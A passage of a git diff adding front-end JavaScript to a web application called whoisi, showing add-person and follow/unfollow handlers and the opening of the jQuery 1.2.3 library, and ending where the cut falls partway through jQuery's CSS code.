+    else if (data.status == "already_exists") {
+       add_result.addClass("error");
+       add_result.text("");
+       add_result.prepend(data.content);
+       add_start.attr("disabled", false);
+    }
+    else if (data.status == "preview_loading") {
+       add_result.text("Loading Preview...");
+       add_result.removeClass("error");
+       add_result.show();
+
+       // Save the id for this load that was passed back from the
+       // server
+       load_id = data.id;
+
+       // re-load our status once a couple of seconds have gone by
+       start_status_timer();
+    }
+    else if (data.status == "preview_done") {
+       add_result.text("");
+       add_result.prepend(data.content);
+       add_result.prepend(data.confirm);
+       add_result.removeClass("error");
+       add_result.show();
+
+       // Set up event handlers for the newly loaded content
+       setup_confirm_handlers();
+    }
+    else if (data.status == "pick_url") {
+       add_result.text("");
+       add_result.prepend(data.content);
+       add_result.removeClass("error");
+       add_result.show();
+
+       // Set up event handlers for the newly loaded content
+       setup_pick_url_handlers();
+    }
+    else if (data.status == "recaptcha_fail") {
+       add_result.addClass("error");
+       add_result.text(data.error_text);
+       request_recaptcha();
+       add_start.attr("disabled", false);
+    }
+    else if (data.status == "person_added") {
+       window.location=data.new_location;
+    }
+    else {
+       console.log("wtf?");
+       add_result.addClass("error");
+       add_result.text("ZOMG some strange error just happened.");
+       add_start.attr("disabled", false);
+    }
+}
+
+function request_recaptcha() {
+    Recaptcha.create(recaptcha_public_key,
+                    form_recaptcha.get(0),
+                    { theme: "clean" });
+
+}
+
+function start_status_timer() {
+    setTimeout(status_timer_expired, 3000);
+}
+
+function status_timer_expired() {
+    $.getJSON("/addpersonstatus", {id: load_id},
+             function(data, textStatus) {
+                 add_site_start_status(data, textStatus);
+             });
+}
+
+function setup_pick_url_handlers() {
+    $(".site-add-pick").each(function() {
+       console.log("setup pick url handlers");
+       var obj = $(this);
+       obj.click(function() {
+           var url = $(this);
+           url_picked(url);
+           return false;
+       });
+    });
+}
+
+function setup_confirm_handlers() {
+    $("#add-confirm").click(function() {
+        add_result.text("Loading...");
+       add_result.removeClass("error");
+       add_result.show();
+
+       var name_val = form_name.val();
+
+       $.getJSON("/addpersonconfirm", {id: load_id, person: name_val},
+                 function(data, textStatus) {
+                     add_site_start_status(data, textStatus);
+       });
+                   
+    });
+    $("#add-cancel").click(function() {
+       // hide the result, reset the captcha and reset the disabled
+       // add button
+        add_result.hide();
+       add_result.text("");
+       add_result.removeClass("error");
+       request_recaptcha();
+       add_start.attr("disabled", false);
+    });
+}
+
+function url_picked(url) {
+    console.log("url picked");
+    $.getJSON("/addpersonpick", {id: load_id,
+               feed: url.attr("feed-id")},
+       function(data, textStatus) {
+           add_site_start_status(data, textStatus);
+    });
+}
+
+$(document).ready(function() {
+    form_name = $("#name");
+    form_url = $("#url");
+    add_result = $("#add-result");
+    add_start = $("#addstart");
+    form_recaptcha = $("#recaptcha");
+
+    // load the recaptcha form
+    request_recaptcha();
+
+    // attach all the various elements
+    add_start.click(function() {
+        return add_person_clicked();
+    });
+})
diff --git a/whoisi/static/javascript/follow.js b/whoisi/static/javascript/follow.js
new file mode 100644 (file)
index 0000000..4cd1857
--- /dev/null
@@ -0,0 +1,178 @@
+// Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+//
+// Permission is hereby granted, free of charge, to any person
+// obtaining a copy of this software and associated documentation
+// files (the "Software"), to deal in the Software without
+// restriction, including without limitation the rights to use, copy,
+// modify, merge, publish, distribute, sublicense, and/or sell copies
+// of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+// BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+// ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+// CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+// So we can use firebug.
+
+try {
+    console.log('init console... done');
+}
+catch(e) {
+    console = { log: function() {} }
+}
+
+function FollowToggle() {
+    this.element = null;
+}
+
+FollowToggle.prototype = {
+    setElement: function(element) {
+       console.log("FollowToggle: setElement")
+       this.element = element;
+       this.person = this.element.attr("person-id");
+       this.selector = ".person-follow[person-id=" + this.person + "]";
+    },
+
+    follow: function() {
+       console.log("FollowToggle: follow ");
+       console.log("person = " + this.person);
+       var obj = this;
+       $.getJSON("/followperson", {person: this.person},
+                 function(data, textStatus) {
+                      obj.onDone(data, textStatus); 
+                 });
+
+       // Let the user know there's some work being done
+       $(this.selector).text("Working...");
+    },
+
+    onDone: function(data, textStatus) {
+       console.log("FollowToggle: onDone");
+
+       // Update every link on the page at once
+       this.updateLinks(data.content);
+
+       // Update the number of people we're following
+       $("#follownum").text(data.still_following_text);
+    },
+
+    updateLinks: function(content) {
+       console.log("updateLinks");
+       var pthis = this;
+       var pcontent = content;
+       $(this.selector).each(function() {
+           var obj = $(this);
+           var parent = obj.parent();
+           obj.replaceWith(pcontent);
+           pthis.attachClickHandler(parent);
+       });
+    },
+
+    attachClickHandler: function(el) {
+       console.log("attachClickHandler" + el);
+       el.find(".person-unfollow").click(function() {
+           console.log("person-unfollow init click");
+           var obj = $(this);
+           var ft = new UnFollowToggle;
+           ft.setElement(obj);
+           ft.unfollow();
+           return false;
+       });
+    }
+}
+
+function UnFollowToggle() {
+    this.element = null;
+}
+
+UnFollowToggle.prototype = {
+    setElement: function(element) {
+       console.log("UnFollowToggle: setElement")
+       this.element = element;
+       this.person = this.element.attr("person-id");
+       this.selector = ".person-unfollow[person-id=" + this.person + "]";
+    },
+
+    unfollow: function() {
+       console.log("UnFollowToggle: unfollow ");
+       console.log("person = " + this.person);
+       var obj = this;
+       $.getJSON("/unfollowperson", {person: this.person},
+                 function(data, textStatus) {
+                      obj.onDone(data, textStatus); 
+                 });
+
+       // Let the user know there's some work being done
+       $(this.selector).text("Working...");
+    },
+
+    onDone: function(data, textStatus) {
+       console.log("UnFollowToggle: onDone");
+
+       // Update every link on the page at once
+       this.updateLinks(data.content);
+
+       // Update the number of people we're following
+       $("#follownum").text(data.still_following_text);
+    },
+
+    updateLinks: function(content) {
+       console.log("updateLinks");
+       var pthis = this;
+       var pcontent = content;
+       $(this.selector).each(function() {
+           var obj = $(this);
+           var parent = obj.parent();
+           obj.replaceWith(pcontent);
+           pthis.attachClickHandler(parent);
+       });
+    },
+
+    attachClickHandler: function(el) {
+       console.log("attachClickHandler" + el);
+       el.find(".person-follow").click(function() {
+           console.log("person-follow init click");
+           var obj = $(this);
+           var ft = new FollowToggle;
+           ft.setElement(obj);
+           ft.follow();
+           return false;
+       });
+    }
+}
+
+
+
+function setup_follow_handlers() {
+    // Classes for following per-site (on a summary page) or per
+    // person (on a person page.)
+    $(".person-follow").click(function() {
+        console.log("person-follow init click");
+       var obj = $(this);
+       var ft = new FollowToggle;
+       ft.setElement(obj);
+       ft.follow();
+       return false;
+    });
+    $(".person-unfollow").click(function() {
+        console.log("person-unfollow init click");
+       var obj = $(this);
+       var ft = new UnFollowToggle;
+       ft.setElement(obj);
+       ft.unfollow();
+       return false;
+    });
+}
+
+// Event handlers to attach to the document
+$(document).ready(function() {
+    setup_follow_handlers();
+})
\ No newline at end of file
diff --git a/whoisi/static/javascript/jquery.js b/whoisi/static/javascript/jquery.js
new file mode 100644 (file)
index 0000000..2e43a82
--- /dev/null
@@ -0,0 +1,3408 @@
+(function(){
+/*
+ * jQuery 1.2.3 - New Wave Javascript
+ *
+ * Copyright (c) 2008 John Resig (jquery.com)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * $Date: 2008-02-06 00:21:25 -0500 (Wed, 06 Feb 2008) $
+ * $Rev: 4663 $
+ */
+
+// Map over jQuery in case of overwrite
+if ( window.jQuery )
+       var _jQuery = window.jQuery;
+
+var jQuery = window.jQuery = function( selector, context ) {
+       // The jQuery object is actually just the init constructor 'enhanced'
+       return new jQuery.prototype.init( selector, context );
+};
+
+// Map over the $ in case of overwrite
+if ( window.$ )
+       var _$ = window.$;
+       
+// Map the jQuery namespace to the '$' one
+window.$ = jQuery;
+
+// A simple way to check for HTML strings or ID strings
+// (both of which we optimize for)
+var quickExpr = /^[^<]*(<(.|\s)+>)[^>]*$|^#(\w+)$/;
+
+// Is it a simple selector
+var isSimple = /^.[^:#\[\.]*$/;
+
+jQuery.fn = jQuery.prototype = {
+       init: function( selector, context ) {
+               // Make sure that a selection was provided
+               selector = selector || document;
+
+               // Handle $(DOMElement)
+               if ( selector.nodeType ) {
+                       this[0] = selector;
+                       this.length = 1;
+                       return this;
+
+               // Handle HTML strings
+               } else if ( typeof selector == "string" ) {
+                       // Are we dealing with HTML string or an ID?
+                       var match = quickExpr.exec( selector );
+
+                       // Verify a match, and that no context was specified for #id
+                       if ( match && (match[1] || !context) ) {
+
+                               // HANDLE: $(html) -> $(array)
+                               if ( match[1] )
+                                       selector = jQuery.clean( [ match[1] ], context );
+
+                               // HANDLE: $("#id")
+                               else {
+                                       var elem = document.getElementById( match[3] );
+
+                                       // Make sure an element was located
+                                       if ( elem )
+                                               // Handle the case where IE and Opera return items
+                                               // by name instead of ID
+                                               if ( elem.id != match[3] )
+                                                       return jQuery().find( selector );
+
+                                               // Otherwise, we inject the element directly into the jQuery object
+                                               else {
+                                                       this[0] = elem;
+                                                       this.length = 1;
+                                                       return this;
+                                               }
+
+                                       else
+                                               selector = [];
+                               }
+
+                       // HANDLE: $(expr, [context])
+                       // (which is just equivalent to: $(content).find(expr)
+                       } else
+                               return new jQuery( context ).find( selector );
+
+               // HANDLE: $(function)
+               // Shortcut for document ready
+               } else if ( jQuery.isFunction( selector ) )
+                       return new jQuery( document )[ jQuery.fn.ready ? "ready" : "load" ]( selector );
+
+               return this.setArray(
+                       // HANDLE: $(array)
+                       selector.constructor == Array && selector ||
+
+                       // HANDLE: $(arraylike)
+                       // Watch for when an array-like object, contains DOM nodes, is passed in as the selector
+                       (selector.jquery || selector.length && selector != window && !selector.nodeType && selector[0] != undefined && selector[0].nodeType) && jQuery.makeArray( selector ) ||
+
+                       // HANDLE: $(*)
+                       [ selector ] );
+       },
+       
+       // The current version of jQuery being used
+       jquery: "1.2.3",
+
+       // The number of elements contained in the matched element set
+       size: function() {
+               return this.length;
+       },
+       
+       // The number of elements contained in the matched element set
+       length: 0,
+
+       // Get the Nth element in the matched element set OR
+       // Get the whole matched element set as a clean array
+       get: function( num ) {
+               return num == undefined ?
+
+                       // Return a 'clean' array
+                       jQuery.makeArray( this ) :
+
+                       // Return just the object
+                       this[ num ];
+       },
+       
+       // Take an array of elements and push it onto the stack
+       // (returning the new matched element set)
+       pushStack: function( elems ) {
+               // Build a new jQuery matched element set
+               var ret = jQuery( elems );
+
+               // Add the old object onto the stack (as a reference)
+               ret.prevObject = this;
+
+               // Return the newly-formed element set
+               return ret;
+       },
+       
+       // Force the current matched set of elements to become
+       // the specified array of elements (destroying the stack in the process)
+       // You should use pushStack() in order to do this, but maintain the stack
+       setArray: function( elems ) {
+               // Resetting the length to 0, then using the native Array push
+               // is a super-fast way to populate an object with array-like properties
+               this.length = 0;
+               Array.prototype.push.apply( this, elems );
+               
+               return this;
+       },
+
+       // Execute a callback for every element in the matched set.
+       // (You can seed the arguments with an array of args, but this is
+       // only used internally.)
+       each: function( callback, args ) {
+               return jQuery.each( this, callback, args );
+       },
+
+       // Determine the position of an element within 
+       // the matched set of elements
+       index: function( elem ) {
+               var ret = -1;
+
+               // Locate the position of the desired element
+               this.each(function(i){
+                       if ( this == elem )
+                               ret = i;
+               });
+
+               return ret;
+       },
+
+       attr: function( name, value, type ) {
+               var options = name;
+               
+               // Look for the case where we're accessing a style value
+               if ( name.constructor == String )
+                       if ( value == undefined )
+                               return this.length && jQuery[ type || "attr" ]( this[0], name ) || undefined;
+
+                       else {
+                               options = {};
+                               options[ name ] = value;
+                       }
+               
+               // Check to see if we're setting style values
+               return this.each(function(i){
+                       // Set all the styles
+                       for ( name in options )
+                               jQuery.attr(
+                                       type ?
+                                               this.style :
+                                               this,
+                                       name, jQuery.prop( this, options[ name ], type, i, name )
+                               );
+               });
+       },
+
+       css: function( key, value ) {
+               // ignore negative width and height values
+               if ( (key == 'width' || key == 'height') && parseFloat(value) < 0 )
+                       value = undefined;
+               return this.attr( key, value, "curCSS" );
+       },
+
+       text: function( text ) {
+               if ( typeof text != "object" && text != null )
+                       return this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) );
+
+               var ret = "";
+
+               jQuery.each( text || this, function(){
+                       jQuery.each( this.childNodes, function(){
+                               if ( this.nodeType != 8 )
+                                       ret += this.nodeType != 1 ?
+                                               this.nodeValue :
+                                               jQuery.fn.text( [ this ] );
+                       });
+               });
+
+               return ret;
+       },
+
+       wrapAll: function( html ) {
+               if ( this[0] )
+                       // The elements to wrap the target around
+                       jQuery( html, this[0].ownerDocument )
+                               .clone()
+                               .insertBefore( this[0] )
+                               .map(function(){
+                                       var elem = this;
+
+                                       while ( elem.firstChild )
+                                               elem = elem.firstChild;
+
+                                       return elem;
+                               })
+                               .append(this);
+
+               return this;
+       },
+
+       wrapInner: function( html ) {
+               return this.each(function(){
+                       jQuery( this ).contents().wrapAll( html );
+               });
+       },
+
+       wrap: function( html ) {
+               return this.each(function(){
+                       jQuery( this ).wrapAll( html );
+               });
+       },
+
+       append: function() {
+               return this.domManip(arguments, true, false, function(elem){
+                       if (this.nodeType == 1)
+                               this.appendChild( elem );
+               });
+       },
+
+       prepend: function() {
+               return this.domManip(arguments, true, true, function(elem){
+                       if (this.nodeType == 1)
+                               this.insertBefore( elem, this.firstChild );
+               });
+       },
+       
+       before: function() {
+               return this.domManip(arguments, false, false, function(elem){
+                       this.parentNode.insertBefore( elem, this );
+               });
+       },
+
+       after: function() {
+               return this.domManip(arguments, false, true, function(elem){
+                       this.parentNode.insertBefore( elem, this.nextSibling );
+               });
+       },
+
+       end: function() {
+               return this.prevObject || jQuery( [] );
+       },
+
+       find: function( selector ) {
+               var elems = jQuery.map(this, function(elem){
+                       return jQuery.find( selector, elem );
+               });
+
+               return this.pushStack( /[^+>] [^+>]/.test( selector ) || selector.indexOf("..") > -1 ?
+                       jQuery.unique( elems ) :
+                       elems );
+       },
+
+       clone: function( events ) {
+               // Do the clone
+               var ret = this.map(function(){
+                       if ( jQuery.browser.msie && !jQuery.isXMLDoc(this) ) {
+                               // IE copies events bound via attachEvent when
+                               // using cloneNode. Calling detachEvent on the
+                               // clone will also remove the events from the orignal
+                               // In order to get around this, we use innerHTML.
+                               // Unfortunately, this means some modifications to 
+                               // attributes in IE that are actually only stored 
+                               // as properties will not be copied (such as the
+                               // the name attribute on an input).
+                               var clone = this.cloneNode(true),
+                                       container = document.createElement("div");
+                               container.appendChild(clone);
+                               return jQuery.clean([container.innerHTML])[0];
+                       } else
+                               return this.cloneNode(true);
+               });
+
+               // Need to set the expando to null on the cloned set if it exists
+               // removeData doesn't work here, IE removes it from the original as well
+               // this is primarily for IE but the data expando shouldn't be copied over in any browser
+               var clone = ret.find("*").andSelf().each(function(){
+                       if ( this[ expando ] != undefined )
+                               this[ expando ] = null;
+               });
+               
+               // Copy the events from the original to the clone
+               if ( events === true )
+                       this.find("*").andSelf().each(function(i){
+                               if (this.nodeType == 3)
+                                       return;
+                               var events = jQuery.data( this, "events" );
+
+                               for ( var type in events )
+                                       for ( var handler in events[ type ] )
+                                               jQuery.event.add( clone[ i ], type, events[ type ][ handler ], events[ type ][ handler ].data );
+                       });
+
+               // Return the cloned set
+               return ret;
+       },
+
+       filter: function( selector ) {
+               return this.pushStack(
+                       jQuery.isFunction( selector ) &&
+                       jQuery.grep(this, function(elem, i){
+                               return selector.call( elem, i );
+                       }) ||
+
+                       jQuery.multiFilter( selector, this ) );
+       },
+
+       not: function( selector ) {
+               if ( selector.constructor == String )
+                       // test special case where just one selector is passed in
+                       if ( isSimple.test( selector ) )
+                               return this.pushStack( jQuery.multiFilter( selector, this, true ) );
+                       else
+                               selector = jQuery.multiFilter( selector, this );
+
+               var isArrayLike = selector.length && selector[selector.length - 1] !== undefined && !selector.nodeType;
+               return this.filter(function() {
+                       return isArrayLike ? jQuery.inArray( this, selector ) < 0 : this != selector;
+               });
+       },
+
+       add: function( selector ) {
+               return !selector ? this : this.pushStack( jQuery.merge( 
+                       this.get(),
+                       selector.constructor == String ? 
+                               jQuery( selector ).get() :
+                               selector.length != undefined && (!selector.nodeName || jQuery.nodeName(selector, "form")) ?
+                                       selector : [selector] ) );
+       },
+
+       is: function( selector ) {
+               return selector ?
+                       jQuery.multiFilter( selector, this ).length > 0 :
+                       false;
+       },
+
+       hasClass: function( selector ) {
+               return this.is( "." + selector );
+       },
+       
+       val: function( value ) {
+               if ( value == undefined ) {
+
+                       if ( this.length ) {
+                               var elem = this[0];
+
+                               // We need to handle select boxes special
+                               if ( jQuery.nodeName( elem, "select" ) ) {
+                                       var index = elem.selectedIndex,
+                                               values = [],
+                                               options = elem.options,
+                                               one = elem.type == "select-one";
+                                       
+                                       // Nothing was selected
+                                       if ( index < 0 )
+                                               return null;
+
+                                       // Loop through all the selected options
+                                       for ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) {
+                                               var option = options[ i ];
+
+                                               if ( option.selected ) {
+                                                       // Get the specifc value for the option
+                                                       value = jQuery.browser.msie && !option.attributes.value.specified ? option.text : option.value;
+                                                       
+                                                       // We don't need an array for one selects
+                                                       if ( one )
+                                                               return value;
+                                                       
+                                                       // Multi-Selects return an array
+                                                       values.push( value );
+                                               }
+                                       }
+                                       
+                                       return values;
+                                       
+                               // Everything else, we just grab the value
+                               } else
+                                       return (this[0].value || "").replace(/\r/g, "");
+
+                       }
+
+                       return undefined;
+               }
+
+               return this.each(function(){
+                       if ( this.nodeType != 1 )
+                               return;
+
+                       if ( value.constructor == Array && /radio|checkbox/.test( this.type ) )
+                               this.checked = (jQuery.inArray(this.value, value) >= 0 ||
+                                       jQuery.inArray(this.name, value) >= 0);
+
+                       else if ( jQuery.nodeName( this, "select" ) ) {
+                               var values = value.constructor == Array ?
+                                       value :
+                                       [ value ];
+
+                               jQuery( "option", this ).each(function(){
+                                       this.selected = (jQuery.inArray( this.value, values ) >= 0 ||
+                                               jQuery.inArray( this.text, values ) >= 0);
+                               });
+
+                               if ( !values.length )
+                                       this.selectedIndex = -1;
+
+                       } else
+                               this.value = value;
+               });
+       },
+       
+       html: function( value ) {
+               return value == undefined ?
+                       (this.length ?
+                               this[0].innerHTML :
+                               null) :
+                       this.empty().append( value );
+       },
+
+       replaceWith: function( value ) {
+               return this.after( value ).remove();
+       },
+
+       eq: function( i ) {
+               return this.slice( i, i + 1 );
+       },
+
+       slice: function() {
+               return this.pushStack( Array.prototype.slice.apply( this, arguments ) );
+       },
+
+       map: function( callback ) {
+               return this.pushStack( jQuery.map(this, function(elem, i){
+                       return callback.call( elem, i, elem );
+               }));
+       },
+
+       andSelf: function() {
+               return this.add( this.prevObject );
+       },
+
+       data: function( key, value ){
+               var parts = key.split(".");
+               parts[1] = parts[1] ? "." + parts[1] : "";
+
+               if ( value == null ) {
+                       var data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]);
+                       
+                       if ( data == undefined && this.length )
+                               data = jQuery.data( this[0], key );
+
+                       return data == null && parts[1] ?
+                               this.data( parts[0] ) :
+                               data;
+               } else
+                       return this.trigger("setData" + parts[1] + "!", [parts[0], value]).each(function(){
+                               jQuery.data( this, key, value );
+                       });
+       },
+
+       removeData: function( key ){
+               return this.each(function(){
+                       jQuery.removeData( this, key );
+               });
+       },
+       
+       domManip: function( args, table, reverse, callback ) {
+               var clone = this.length > 1, elems; 
+
+               return this.each(function(){
+                       if ( !elems ) {
+                               elems = jQuery.clean( args, this.ownerDocument );
+
+                               if ( reverse )
+                                       elems.reverse();
+                       }
+
+                       var obj = this;
+
+                       if ( table && jQuery.nodeName( this, "table" ) && jQuery.nodeName( elems[0], "tr" ) )
+                               obj = this.getElementsByTagName("tbody")[0] || this.appendChild( this.ownerDocument.createElement("tbody") );
+
+                       var scripts = jQuery( [] );
+
+                       jQuery.each(elems, function(){
+                               var elem = clone ?
+                                       jQuery( this ).clone( true )[0] :
+                                       this;
+
+                               // execute all scripts after the elements have been injected
+                               if ( jQuery.nodeName( elem, "script" ) ) {
+                                       scripts = scripts.add( elem );
+                               } else {
+                                       // Remove any inner scripts for later evaluation
+                                       if ( elem.nodeType == 1 )
+                                               scripts = scripts.add( jQuery( "script", elem ).remove() );
+
+                                       // Inject the elements into the document
+                                       callback.call( obj, elem );
+                               }
+                       });
+
+                       scripts.each( evalScript );
+               });
+       }
+};
+
+// Give the init function the jQuery prototype for later instantiation
+jQuery.prototype.init.prototype = jQuery.prototype;
+
+function evalScript( i, elem ) {
+       if ( elem.src )
+               jQuery.ajax({
+                       url: elem.src,
+                       async: false,
+                       dataType: "script"
+               });
+
+       else
+               jQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || "" );
+
+       if ( elem.parentNode )
+               elem.parentNode.removeChild( elem );
+}
+
+jQuery.extend = jQuery.fn.extend = function() {
+       // copy reference to target object
+       var target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options;
+
+       // Handle a deep copy situation
+       if ( target.constructor == Boolean ) {
+               deep = target;
+               target = arguments[1] || {};
+               // skip the boolean and the target
+               i = 2;
+       }
+
+       // Handle case when target is a string or something (possible in deep copy)
+       if ( typeof target != "object" && typeof target != "function" )
+               target = {};
+
+       // extend jQuery itself if only one argument is passed
+       if ( length == 1 ) {
+               target = this;
+               i = 0;
+       }
+
+       for ( ; i < length; i++ )
+               // Only deal with non-null/undefined values
+               if ( (options = arguments[ i ]) != null )
+                       // Extend the base object
+                       for ( var name in options ) {
+                               // Prevent never-ending loop
+                               if ( target === options[ name ] )
+                                       continue;
+
+                               // Recurse if we're merging object values
+                               if ( deep && options[ name ] && typeof options[ name ] == "object" && target[ name ] && !options[ name ].nodeType )
+                                       target[ name ] = jQuery.extend( target[ name ], options[ name ] );
+
+                               // Don't bring in undefined values
+                               else if ( options[ name ] != undefined )
+                                       target[ name ] = options[ name ];
+
+                       }
+
+       // Return the modified object
+       return target;
+};
+
+var expando = "jQuery" + (new Date()).getTime(), uuid = 0, windowData = {};
+
+// exclude the following css properties to add px
+var exclude = /z-?index|font-?weight|opacity|zoom|line-?height/i;
+
+jQuery.extend({
+       noConflict: function( deep ) {
+               window.$ = _$;
+
+               if ( deep )
+                       window.jQuery = _jQuery;
+
+               return jQuery;
+       },
+
+       // See test/unit/core.js for details concerning this function.
+       isFunction: function( fn ) {
+               return !!fn && typeof fn != "string" && !fn.nodeName && 
+                       fn.constructor != Array && /function/i.test( fn + "" );
+       },
+       
+       // check if an element is in a (or is an) XML document
+       isXMLDoc: function( elem ) {
+               return elem.documentElement && !elem.body ||
+                       elem.tagName && elem.ownerDocument && !elem.ownerDocument.body;
+       },
+
+       // Evalulates a script in a global context
+       globalEval: function( data ) {
+               data = jQuery.trim( data );
+
+               if ( data ) {
+                       // Inspired by code by Andrea Giammarchi
+                       // http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html
+                       var head = document.getElementsByTagName("head")[0] || document.documentElement,
+                               script = document.createElement("script");
+
+                       script.type = "text/javascript";
+                       if ( jQuery.browser.msie )
+                               script.text = data;
+                       else
+                               script.appendChild( document.createTextNode( data ) );
+
+                       head.appendChild( script );
+                       head.removeChild( script );
+               }
+       },
+
+       nodeName: function( elem, name ) {
+               return elem.nodeName && elem.nodeName.toUpperCase() == name.toUpperCase();
+       },
+       
+       cache: {},
+       
+       data: function( elem, name, data ) {
+               elem = elem == window ?
+                       windowData :
+                       elem;
+
+               var id = elem[ expando ];
+
+               // Compute a unique ID for the element
+               if ( !id ) 
+                       id = elem[ expando ] = ++uuid;
+
+               // Only generate the data cache if we're
+               // trying to access or manipulate it
+               if ( name && !jQuery.cache[ id ] )
+                       jQuery.cache[ id ] = {};
+               
+               // Prevent overriding the named cache with undefined values
+               if ( data != undefined )
+                       jQuery.cache[ id ][ name ] = data;
+               
+               // Return the named cache data, or the ID for the element       
+               return name ?
+                       jQuery.cache[ id ][ name ] :
+                       id;
+       },
+       
+       removeData: function( elem, name ) {
+               elem = elem == window ?
+                       windowData :
+                       elem;
+
+               var id = elem[ expando ];
+
+               // If we want to remove a specific section of the element's data
+               if ( name ) {
+                       if ( jQuery.cache[ id ] ) {
+                               // Remove the section of cache data
+                               delete jQuery.cache[ id ][ name ];
+
+                               // If we've removed all the data, remove the element's cache
+                               name = "";
+
+                               for ( name in jQuery.cache[ id ] )
+                                       break;
+
+                               if ( !name )
+                                       jQuery.removeData( elem );
+                       }
+
+               // Otherwise, we want to remove all of the element's data
+               } else {
+                       // Clean up the element expando
+                       try {
+                               delete elem[ expando ];
+                       } catch(e){
+                               // IE has trouble directly removing the expando
+                               // but it's ok with using removeAttribute
+                               if ( elem.removeAttribute )
+                                       elem.removeAttribute( expando );
+                       }
+
+                       // Completely remove the data cache
+                       delete jQuery.cache[ id ];
+               }
+       },
+
+       // args is for internal usage only
+       each: function( object, callback, args ) {
+               if ( args ) {
+                       if ( object.length == undefined ) {
+                               for ( var name in object )
+                                       if ( callback.apply( object[ name ], args ) === false )
+                                               break;
+                       } else
+                               for ( var i = 0, length = object.length; i < length; i++ )
+                                       if ( callback.apply( object[ i ], args ) === false )
+                                               break;
+
+               // A special, fast, case for the most common use of each
+               } else {
+                       if ( object.length == undefined ) {
+                               for ( var name in object )
+                                       if ( callback.call( object[ name ], name, object[ name ] ) === false )
+                                               break;
+                       } else
+                               for ( var i = 0, length = object.length, value = object[0]; 
+                                       i < length && callback.call( value, i, value ) !== false; value = object[++i] ){}
+               }
+
+               return object;
+       },
+       
+       prop: function( elem, value, type, i, name ) {
+                       // Handle executable functions
+                       if ( jQuery.isFunction( value ) )
+                               value = value.call( elem, i );
+                               
+                       // Handle passing in a number to a CSS property
+                       return value && value.constructor == Number && type == "curCSS" && !exclude.test( name ) ?
+                               value + "px" :
+                               value;
+       },
+
+       className: {
+               // internal only, use addClass("class")
+               add: function( elem, classNames ) {
+                       jQuery.each((classNames || "").split(/\s+/), function(i, className){
+                               if ( elem.nodeType == 1 && !jQuery.className.has( elem.className, className ) )
+                                       elem.className += (elem.className ? " " : "") + className;
+                       });
+               },
+
+               // internal only, use removeClass("class")
+               remove: function( elem, classNames ) {
+                       if (elem.nodeType == 1)
+                               elem.className = classNames != undefined ?
+                                       jQuery.grep(elem.className.split(/\s+/), function(className){
+                                               return !jQuery.className.has( classNames, className );  
+                                       }).join(" ") :
+                                       "";
+               },
+
+               // internal only, use is(".class")
+               has: function( elem, className ) {
+                       return jQuery.inArray( className, (elem.className || elem).toString().split(/\s+/) ) > -1;
+               }
+       },
+
+       // A method for quickly swapping in/out CSS properties to get correct calculations
+       swap: function( elem, options, callback ) {
+               var old = {};
+               // Remember the old values, and insert the new ones
+               for ( var name in options ) {
+                       old[ name ] = elem.style[ name ];
+                       elem.style[ name ] = options[ name ];
+               }
+
+               callback.call( elem );
+
+               // Revert the old values
+               for ( var name in options )
+                       elem.style[ name ] = old[ name ];
+       },
+
+       css: function( elem, name, force ) {
+               if ( name == "width" || name == "height" ) {
+                       var val, props = { position: "absolute", visibility: "hidden", display:"block" }, which = name == "width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ];
+               
+                       function getWH() {
+                               val = name == "width" ? elem.offsetWidth : elem.offsetHeight;
+                               var padding = 0, border = 0;
+                               jQuery.each( which, function() {
+                                       padding += parseFloat(jQuery.curCSS( elem, "padding" + this, true)) || 0;
+                                       border += parseFloat(jQuery.curCSS( elem, "border" + this + "Width", true)) || 0;
+                               });
+                               val -= Math.round(padding + border);
+                       }
+               
+                       if ( jQuery(elem).is(":visible") )
+                               getWH();
+                       else
+                               jQuery.swap( elem, props, getWH );
+                       
+                       return Math.max(0, val);
+               }
+               
+               return jQuery.curCSS( elem, name, force );
+       },
+
+       curCSS: function( elem, name, force ) {
+               var ret;
+
+               // A helper method for determining if an element's values are broken
+               function color( elem ) {
+                       if ( !jQuery.browser.safari )
+                               return false;
+
+                       var ret = document.defaultView.getComputedStyle( elem, null );
+                       return !ret || ret.getPropertyValue("color") == "";
+               }
+
+               // We need to handle opacity special in IE
+               if ( name == "opacity" && jQuery.browser.msie ) {
+                       ret = jQuery.attr( elem.style, "opacity" );
+
+                       return ret == "" ?
+                               "1" :
+                               ret;
+               }
+               // Opera sometimes will give the wrong display answer, this fixes it, see #2037
+               if ( jQuery.browser.opera && name == "display" ) {
+                       var save = elem.style.outline;
+                       elem.style.outline = "0 solid black";
+                       elem.style.outline = save;
+               }
+               
+               // Make sure we're using the right name for getting the float value
+               if ( name.match( /float/i ) )
+                       name = styleFloat;
+
+               if ( !force && elem.style && elem.style[ name ] )
+                       ret = elem.style[ name ];
+
+               else if ( document.defaultView && document.defaultView.getComputedStyle ) {
+
+                       // Only "float" is needed here
+                       if ( name.match( /float/i ) )
+                               name = "float";
+
+                       name = name.replace( /([A-Z])/g, "-$1" ).toLowerCase();
+
+                       var getComputedStyle = document.defaultView.getComputedStyle( elem, null );
+
+                       if ( getComputedStyle && !color( elem ) )
+                               ret = getComputedStyle.getPropertyValue( name );
+
+                       // If the element isn't reporting its values properly in Safari
+                       // then some display: none elements are involved
+                       else {
+                               var swap = [], stack = [];
+
